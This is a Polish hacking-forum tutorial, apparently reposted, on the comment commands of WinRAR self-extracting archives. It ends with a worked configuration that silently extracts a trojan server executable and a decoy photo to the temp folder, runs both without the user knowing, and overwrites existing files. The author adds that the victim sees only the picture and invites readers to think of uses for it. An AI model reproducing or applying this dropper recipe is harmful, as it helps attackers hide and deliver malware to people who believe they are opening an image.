W tym arcie poruszę tematykę WinRar'a, a dokładniej archiwum SFX...
O co chodzi?!
Otóż archiwum to, jest `Samowypakowywującym się Archiwum WinRara`.
Jak każdy widzi, dodaje się pliki normalnie, tyle że tam zaznacza się `Utwórz Archiwum SFX`...
Po Wygenerowaniu tworzy się plik exe, zaś po odpaleniu go jest forma wypakowywania
Objaśnienie
W tym pseudo-arcie omówię jakie ma tenże format archiwum ma opcję...
- Zawiera on swoje komendy, które należy pisać w komentarzu pliku (ostatnia zakładka podczas dodawania do pliku)
Jakie to komendy? Zaraz opiszę!
1. Wskazanie folderu docelowe wypakowywania plików:
Kod:
Path=SCIEZKA_DO_FOLDERU_DOCELOWEGO
SavePath
2. Uruchomienie pliku po wypakowywaniu plików (chodzi oczywiście o plik, który znajdował się w Archiwum):
Kod:
Setup=NAZWA_PLIKU.JPG.EXE.HTML
3. Uruchomienie plik przez wypakowaniem plików (tutaj już nie chodzi o plik który znajdował się w Archiwum; mógł być luźno na dysku twardym):
Kod:
Presetup=C:/PLIK.EXE.LOL.TXT
4. Plik do usunięcia z folderu docelowego:
Kod:
delete=PLIK.LOL.EXE.JPG.OMG
Kod:
5. Dodanie tytułu oraz tekstu w Archiwum SFX:
Kod:
Title=TYTUL_OKNA_ARCHIWUM
Text
{
PIERWSZA LINIA TEXTU DO WYSWIETLENIA
DRUGA LINIA TEXTU DO WYSWIETLENIA
TRZECIA LINIA [...]
}
6. Wyświetlenia okna licencji, wraz z treścią:
Kod:
License=TYTUL_OKNA_LICENCJI
{
PIERWSZA LINIA TEXTU DO WYSWIETLENIA
DRUGA LINIA TEXTU DO WYSWIETLENIA
TRZECIA LINIA [...]
}
To są ogólne komendy, ale archiwum SFX posiada jeszcze komendy do ukrywania głównej formy, a także nadpisywania/lub nie plików... Oto one:
Ukrycie formy archiwizatora
Kod:
Gdzie X jest:
2 - Ukrywanie dialogów Startowych (Automatycznie wypakowanie pliku, ale "widać" że coś się wypakowywuje)
1 - Ukrywanie wszystkiego, poprostu plik się wypakowywuje bez wiedzy użytkownika..
Jeśli chcesz aby forma była widoczna, zostaw te komendy...
Nadpisywanie plików
Kod:
Gdzie X jest:
1 - Nadpisuje wszystkie pliki bez wiedzy użytkownika
2 - Pomija wszystkie istniejące pliki, i ich nie wypakowywuje
Jeśli zaś chce by archiwum za każdym razem pytalo `Czy chcesz napisać te[...]` to zostaw te komeny (;
Teraz dodam mały przykład zastosowania tych komend dla lepszego zrozumienia faktu ich działania:
Kod:
path=%temp%
SavePath
Setup=SERVER_TROJANA.EXE
Setup=ZDJECIE_DLA_ZMYLKI.JPG
Silent=1
Overwrite=1
Objaśnienie: Archiwium to wypakuje bez wiedzy użytkownika ServerTrojana i także ZdjęcieDlaZmylki do folderu tymczasowego, które potem uruchomi. Jak każdy wie, servery są ukryte, czyli u ofiary odpali się tylko zdjęcie!
POMYŚLEĆ DO CZEGO MOŻNA TO WYKORZYSTAĆ
Źródło: http://haker.com.pl/threads/13047-Archiwum-SFX-gt-Tajniki-tych-plików-TUT